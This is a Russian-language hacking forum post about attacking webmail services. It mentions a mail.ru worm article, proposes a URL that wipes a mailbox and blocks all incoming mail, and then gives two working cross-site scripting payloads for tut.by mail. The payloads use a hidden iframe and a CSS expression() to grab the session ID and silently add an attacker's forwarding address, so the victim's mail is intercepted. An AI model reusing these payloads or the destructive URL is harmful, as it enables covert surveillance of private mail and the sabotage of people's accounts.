В архиве сайта www.xakep.ru нашел статью с названием "Mail.Ru.Worm". Там рассматривается совершенно глупая, но интересная затея)) Вопщем так называемый "почтовый червь" для веб-интерфейса мэйл.ру. Полностью читать не стал, ввиду её бесполезности, тем более автор умудрился растянуть на три части, но идея такова: в чью-либо почту приходит письмо. Письмо открывают, скрипт в письме считывает из папки INBOX адреса корреспондентов и рассылает себя по этим адресам. Червь ничего не делал кроме рассылки себя самого. Я бы сделал, так чтобы в каждом ящике срабатывало: http://win.mail.ru/cgi-bin/blacklist?add=*&remove=1 При этом абсолютно все письма из него удаляются, и ставится блокировка на всю входящую почту. Для некоторых не особо сообразительных людей это уже потерянный ящик, так как не сразу найдешь где его разблокировать. Автор, видимо, человек жадный, но с юмором: "Поскольку данная уязвимость еще не исправлена, позволю себе немного наглости и не раскрою вам исходного кода червя." )) Еще xakep.ru проанонсировал 8-й номер журнала, где описывается взлом почты на http://mail.ru. Увидим. А недавно читая форум web-hack наткнулся на обсуждение метода взлома мэйл.ру через установку альтернативного мыла. Там один очень неприличный гражданин утверждал что этот метод неработает. Простодушно полагая, что человек ник которого содержит "Root" должен обладать недюжинными знаниями, Егорыч+++ вступил с этим, с позволения сказать хакером в дисскуссию, и наверное теперь жалеет о потерянном времени. Все его доводы сводились к тому, что никто не юзает инет-эксплорер, никто не юзает винды, никто не использует веб-интерфейс, у всех отключены скрипты в браузере, а если и не отключены, то блокируются файрволлом. Иными словами, получилась такая чудо-система, которая едва поддерживает TCP/IP. Все это к тому, что как я понял, пользователю надо нынче давать полностью готовый результат. Чтобы скрипт работал всегда, везде, при любых обстоятельствах... Меня неоднократно просили позырить, как обстоят дела с http://tut.by, главной белорусской почтой. Дела там сравнительно неплохи. Насчет того что "сервер хорошо защищен и сделать ничего нельзя", скажу что может чего-то там сделать и нельзя, а "прослушать" ящик можно. Единственная сложность со вставкой скриптов. Используется "шлюз", благодаря ему ломаются все конструкции, в которых скрипт используется в кач-ве URL. Из-за этого подобрать скрипт для всех платформ - большой геморой. Вот вариант для IE: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"> <iframe name=inv width=0 height=0></iframe> <a href="mailto:[email protected]" sss="string=location+'#'; str=string.substring(53, 27); document.inv.location='http://mail.tut.by/Session/'+str+'/[email protected]&RedirKeep=1&KeepToAndCc=1&Update.x=89&Update.y=4&Redirect=1';this.sss=null"style="top:expression(eval(this.sss))">ссылка</a> [/QUOTE]<span id='postcolor'> Расписывать подробно не буду, скажу лишь что использовал метод Алгола с expression. Если открыть такое письмо, то в настройках для пересылке писем появится адрес [email protected]
TUT.BY Поправка. Идентификатор, оказывается, может состоять из разного кол-ва знаков, поэтому вот другая версия скрипта. Срабатывает всегда: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"> <iframe width=0 height=0 name=inv></iframe> <a href="mailto:[email protected]" sss="string=location+'#'; str=string.substring(27, string.search('/mess')); document.inv.location='http://mail.tut.by/Session/'+str+'/[email protected]&RedirKeep=1&KeepToAndCc=1&Update.x=&Update.y=4&Redirect=1';this.sss=null"style="top:expression(eval(this.sss))"></a> [/QUOTE]<span id='postcolor'>
